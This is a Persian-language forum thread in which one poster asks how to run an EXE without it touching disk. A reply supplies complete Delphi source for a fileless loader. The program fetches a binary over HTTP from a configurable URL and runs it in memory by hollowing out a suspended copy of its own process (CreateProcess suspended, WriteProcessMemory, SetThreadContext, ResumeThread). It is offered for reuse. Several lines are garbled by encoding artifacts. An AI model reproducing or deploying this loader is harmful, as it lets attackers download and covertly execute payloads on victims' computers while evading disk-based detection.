از اول شروع می کنم و تصحیح می کنم آیا میشه یک EXE رو از طریق ُStream یا روشی مشابه Run کرد بدون اینکه جایی روی هارد باز شه ؟؟؟؟؟
بله . کد ذیل رو که قبلا" هم یکبار به درخواست دوست دیگری منتشر کرده بودم برای چنین منظوری نوشته ام ، برنامه اصلی ات کد باینری دوم رو از طریق وب دریافت میکنه و بلافاصله روی حافظه اجراش میکنه ؛ هیچ Disk Image ای وجود نخواهد داشت ؛ اگر مایل بودی میتونی کد رو مطابق میلت تغییر بدی تا بجای دریافت از سوکت ، از یک فایل ریسورس ، باینری دوم رو بگیره . تا وقتی منفعت تجاری از این کد عاید کسی نشه ، استفاده و انتشار مجدد اون بلا مانعه
program InpyRecfW;
{$IMAGEBASE $10000000}
uses
Windows, SocketUnit;
type
TSections = array [0..0] of TImageSectionHeader;
var
Target: pchar = #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0;
Output: pointer;
OutputLength: dword;
function ExtractURLSite(FileName: string): string;
begin
Result := Copy(FileName, 1, Pos('/', FileName) - 1);
end;
function ExtractURLPath(FileName: string): string;
begin
Result := Copy(FileName, Pos('/', FileName), Length(FileName) - Pos('/', FileName) + 1);
end;
function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := '';
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
begin
Inc(StringLoop, Length(Deliminator) - 1);
Inc(StringCount);
if StringCount = Index then
begin
Result := Buffer;
Exit;
end
else
begin
Buffer := '';
end;
end
else
begin
Buffer := Buffer + Copy(Input, StringLoop, 1);
end;
Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := '';
Result := Buffer;
end;
procedure GetURL(Address: string);
var
HTTP: TClientSocket;
Data: pointer;
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: dword;
Header: string;
Site: string;
URL: string;
Location: string;
begin
Location := Split(Address, '://', 2);
Site := ExtractURLSite(Location);
URL := ExtractURLPath(Location);
GetMem(Buffer, 1024);
try
BufferLength := 1024;
BufferUsed := 0;;
HTTP := TClientSocket.Create;
HTTP.Connect(Site, 80);
HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);
HTTP.Idle(0);
while HTTP.Connected do
begin
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
ReallocMem(Buffer, BufferLength);
end;
Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffe r) + BufferUsed)^, 1024);
if Bytes > 0 then
begin
Inc(BufferUsed, Bytes);
end;
end;
Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
OutputLength := BufferUsed - dword(Length(Header));
Data := pointer(dword(Buffer) + dword(Length(Header)));
GetMem(Output, OutputLength);
Move(Data^, Output^, OutputLength);
finally
FreeMem(Buffer);
end;
end;
function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size mod Alignment) = 0) then
begin
Result := Size;
end
else
begin
Result := ((Size div Alignment) + 1) * Alignment;
end;
end;
function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew&# 41;);
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHead ers mod Alignment) = 0) then
begin
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
end
else
begin
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHead ers div Alignment) + 1) * Alignment;
end;
PSections := pointer(pchar(@(ImageNtHeaders.Optiona lHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader) ;;
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then
begin
if ((PSections[SectionLoop].Misc.Virt ualSize mod Alignment) = 0) then
begin
Result := Result + PSections[SectionLoop].Misc.VirtualSize;
end
else
begin
Result := Result + (((PSections[SectionLoop].Misc .VirtualSize div Alignment) + 1) * Alignment);
end;
end;
end;
end;
procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory) 1; + dword(PImageDosHeader(FileMemory)._lfa new));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.Optiona lHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader) ;;
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.S izeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment) ;);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData 1;, SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop]. Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment) ;);
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop]. Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment) ;);
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBas e), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBas e), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;
begin
GetURL(Target);
CreateProcessEx(Output);
end.
1-لطفا" اگر چیزی در مورد Win32 API Programming نمیدونی در مورد نحوهء عملکردش ازم سوال نکن ؛( برای شروع میتونی مقالهء Process Injection و کدی که برای نمایش عملکردش تو بخش امنیت نرم افزار نوشته ام استفاده کنی )
2- یونیت سوکت رو برای کاهش حجم کد نهائی ، خودم نوشتم ، مبتنی بر WinSock2 ، قاعدتا" این کد به درد کسانی خواهد خورد که از پس اعمال تغییرات لازمه بر میان .
موفق باشی